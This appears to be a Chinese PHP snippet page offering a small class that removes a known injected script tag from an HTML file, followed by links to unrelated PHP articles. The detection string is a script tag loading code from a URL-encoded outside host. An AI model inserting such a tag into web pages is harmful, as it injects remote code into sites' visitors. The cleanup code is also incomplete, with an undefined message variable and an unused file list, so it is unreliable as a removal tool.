php 清除网页病毒的方法

yipeiwu_com5年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php封装的pdo数据库操作工具类与用法示例

本文实例讲述了php封装的pdo数据库操作工具类与用法。分享给大家供大家参考,具体如下: <?php header("Content-Type:text/html;ch...

一个完整的PHP类包含的七种语法说明

类中的七种语法说明 -属性 -静态属性 -方法 -静态方法 -类常量 -构造函数 -析构函数 <?php class Student { //...

PHP实现货币换算的方法

本文实例讲述了PHP实现货币换算的方法。分享给大家供大家参考。 具体实现代码如下: 复制代码 代码如下:<?php /* * File: CurrencyConvert...

php中让人头疼的浮点数运算分析

本文实例分析了php中让人头疼的浮点数运算。分享给大家供大家参考,具体如下: 在做电商的时候,计算价格是免不了的,然后发现了php的一个坑,口算应该正确的值,php运算出来会跟你不一样...

PHP读取XML格式文件的方法总结

本文实例总结了PHP读取XML格式文件的方法。分享给大家供大家参考,具体如下: books.xml文件: <books> <book> <author&...